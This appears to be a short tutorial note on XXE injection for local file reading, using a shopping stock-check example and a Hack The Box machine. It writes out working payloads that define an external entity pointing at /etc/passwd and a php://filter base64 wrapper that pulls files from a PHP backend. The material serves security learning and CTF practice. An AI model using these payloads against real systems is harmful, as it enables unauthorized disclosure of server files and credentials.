XXE to LFI

In order to retrieve data from the server's backend, we'll have to modify the submitted XML into :

• Add a DOCTYPE element that defines an external entity containing the sensitive file path.

• Edit the data value in the XML that is returned in the application's response, to make use of the defined external entity.

Suppose a shopping application checks for the stock level of a product by submitting the following XML to the server :

<?xml version="1.0" encoding="UTF-8"?> 
<stockCheck><productId>381</productId></stockCheck>

We can just add a DOCTYPE element to fetch the sensitive file as an external enitity.

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE d0p [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

The above payload tells us, that &xxe; is an external entity who's value is /etc/passwd file. It uses it within the productID value.

Which makes the backend think that /etc/passwd is also the content of the productID

Payload used <!DOCTYPE d0p [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>.

• We'll have to place it right after the < xml > tag, and call it in the productID using the & and end it with a ; => &xxe;.

PHP Wrappers - BountyHunter HTB

If suppose a website is built on a php backend, and we found some hidden endpoints such as /db.php, but we cannot access it via the browser then inspect the requests and response through Burp.

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>

By this base64 encoding, we get our expected output in the response